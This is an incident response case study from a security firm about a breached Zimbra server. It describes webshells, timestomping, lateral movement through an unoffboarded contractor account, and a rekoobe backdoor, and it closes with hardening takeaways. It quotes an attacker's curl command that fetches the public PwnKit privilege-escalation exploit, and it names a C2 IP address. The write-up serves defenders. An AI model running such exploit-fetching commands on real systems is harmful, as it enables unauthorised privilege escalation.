Tales From the Incident Response Cliff Face

Introduction

In this series, we will be covering recent incident response cases handled by the Kudelski Security Incident Response team (KSIR).

This is not an in-depth technical write up, rather an effort to share concrete recommendations from a specific incident, which will help you improve your readiness in case of a cyber breach.

Watson, We Have a Problem

KSIR was contacted after the client suspected “something didn’t look right” with their Zimbra webmail server in the demilitarized zone (DMZ), which they had been investigating for almost a month.

 A quick check revealed the following:

• The Zimbra web folder did contain webshell backdoors; the client had deleted what they had already easily spotted
• While the client did have an EDR solution in place,it was unfortunately not deployed in the Linux servers fleet
• The web server logs have since been rotated and the client does not keep copies (no SIEM or central logging)

The first action we took was to deploy the EDR agents on the Linux servers. This would give us the visibility and ability to be ready to respond in case the attacker was still in the network or if any super-advanced persistence mechanism had been set.

ALERT #1: Where are my webshells? 

Two days later, while working on agent deployment, the threat actor did indeed return and we received an alert on the Zimbra server. Throughout the investigation, it would appear the threat actor worked on a schedule: every 4-5 days within working hours between midnight and 5AM UTC+1.

While we suspected that the exposed internet assets were the entry points of attackers, we were able to prove it by piecing the evidence together on a timeline.

After appearing to search for webshells, the attacker received a status code “200” on one of the deployed Java pages /opt/zimbra/jetty_base/webapps/zimbra/public/jsp/Startup3.jsp (see figure 1) and started interacting with it by executing some enumeration commands (see figure 2 – for who is logged on and what they are doing)

The threat actor later checked if any of the other webshells were still present. This gave us a clue as to where the attacker would store the backdoors. The first two commands (shown in Figure 3 below) even showed how the attacker would obfuscate them with different base64 encoding libraries.

After getting hits, the threat actor tampered with the timestamp metadata of the files to hide them more effectively, making them look like they were present at a previous point in time and would go unnoticed if the administrator looked for recent modifications (Figure 4).

Further custom forensics on the host revealed other webshells:

 /opt/zimbra/jetty_base/webapps/zimbra/public/jsp/Zimbre.jsp

As the webserver logs don’t go back long enough, proving which CVE was exploited to get foothold on the Zimbra webserver was not straightforward. However, a quick search on the product’s vulnerabilities showed how different Zimbra RCE vulnerabilities had been actively exploited in the wild, especially with server versions that were confirmed to be outdated at the time. See: https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-228a for details.

Alert #2: Exploitation for Privilege Escalation

Around the time we received the EDR alert for the Zimbra webserver, we got another alert from an internal webserver that indicated a compromised user was attempting to download the following:

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit

This is a self-contained exploit for CVE-2021-4034 for local privilege escalation on Linux distributions. We confirmed that the client’s infrastructure was vulnerable.

In order to determine the scope of lateral movement, we started pulling artifacts with sniper forensics on the local webserver as EDR technology is only effective as soon as it is deployed and not useful for investigating past activity.

Following the two alerts, we moved to containment.

At this stage, we have reliable information about the attacker from the two alerts: timeframe, username, and exploitation habits. As the attacker is seen to leverage CVE-2021-4034 whenever they start an ssh session, one way to hunt for this behavior is by looking for the lines below in the auth.log (secure.log) file (figure 5). This correlates positively with the vulnerability exploitation which uses that kit.

This iterative process allowed us to discover that the threat actor was coming from a contractor VNC gateway and leveraging credentials (which we later discovered to be compromised) to try to log into as many hosts as they could, successfully getting into 6 others.

Furthermore, the forensic analysis revealed that a backdoor binary was dropped onto two servers.

The backdoor is successfully detected by many AV engines and is labeled as trojan.linux/rekoobe (figure 6).

Static analysis of the file shows a hardcoded C2 ip: 94.158.247.102 and a connection would be established on port 443 (Figure 7).

Bridging the Islands: How Did the Attacker Move From Zimbra to the VNC Gateway?

While it is theoretically possible that two different threat actors were on the same environment, we wanted to understand how the attacker could move from the mail server to the other hosts.

We confirmed the hypothesis that the compromised user’s cleartext password was sent in an email stored in cleartext on the Zimbra webmail server. Essentially, the client needed to assume that the attacker had access to other sensitive data residing in the emails.

Moving on with the investigation, we were able to determine that the account belonged to an ex-employee of the contracting company who was not properly offboarded.

Their account’s most recent activity occurred during the incident’s timeline. This allowed us to confidently establish the link between Zimbra as patient-0 and the contractor’s VNC gateway as the first host in the lateral movement kill chain.

Minimizing Disruption and Supporting Remediation

So, taking a step back for a minute, this is where we’re at:

We understand that the webserver is vulnerable to critical CVEs and that one of them was most likely exploited. While the recommended remediation is to patch the application by updating it, there is insufficient bandwidth on the client’s side to perform such action. Furthermore, there is no tolerance for business disruption and hence isolating the host is out of question.

For this reason, after cleaning up any identified persistence, we suggest temporary mitigations to enable the client to keep the service running. Recommendations are as follows:

1. Make the source folder of the Zimbra application immutable, the reasoning is that any successful exploitation would require dropping a file (the webshell) on disk before making a call to it. If we carefully disallow writes in the application’s folder then exploitation of any of the documented CVEs will fail
2. In case of an unidentified backdoor running on the webserver at the time, block any outgoing connection initiated by the server (update servers and other necessary applicable hosts to be excluded)

We also make it clear that – should something unexpected happen – our Managed Detection and Response and IR services are on hand, 24/7 to help get them out of the situation.

It’s worth pointing out that the client was grateful that we built our investigation around their business needs. Our approach is never cookie-cutter. We always take into account their practical restrictions and operational requirements before building a response.

Compromised Backups Are Not Backups at All

The compromised Zimbra server was contained and reserved for investigation while the customer worked on starting a fresh image. Unfortunately, the new server was spawned from a compromised snapshot, which allowed the attacker to find a hidden webshell backdoor. This time the attacker directly deleted all user accounts. We believe the act of sabotage was precipitated by the operation being burned.

Fortunately, the client had recent backups.  Disruption for users was minor (less than 1 hour downtime) and login was only blocked temporarily before restoration.[MD1] [TG2] 

—

MITRE Mapping

In addition to common tactics, techniques, and procedures, the breac in question included more specific ones:

– Initial foothold on a DMZ webserver (Mitre: T1190)

– Lateral movements with insecure credentials (Mitre: T1552.001)

– Leveraging third-party trust (Mitre: T1199)

– Exploitation for privilege escalation (T1068)

            – Web Shell backdoors (T1505.003)

            – Lateral movement with SSH T1021.004

            – Timestomping T1070.006

Takeaways

1. Save any evidence from your investigation. You may need an expert opinion on this later on.
2. Deploy your security solutions consistently and configure them according to best practice. This way, you’ll avoid creating a false sense of security.
3. Without logs, answering questions after a breach is hard. Consider making raw copies of the logs and keeping them somewhere safe.
4. Business disruption can be avoided if you do backups. Make sure you back up critical services frequently.
5. Hardening provides very high ROI and when coupled with an EDR increases security by orders of magnitude. Consider implementing basic hardening configuration on your critical assets, especially the exposed ones.
6. At least two CVEs were exploited during the incident – from the internet and from the local network). Keep your applications and infrastructure updated.
7. Make sure you are properly offboarding employees, be it yours or your partners.
8. Security is as strong as its weakest link: in this particular case, the contractor’s weak security hygiene (improper offboarding + lack of MFA) allowed the attacker to dig deep into the client’s infrastructure.

Click here to download the full case study, including the 8 key takeaways.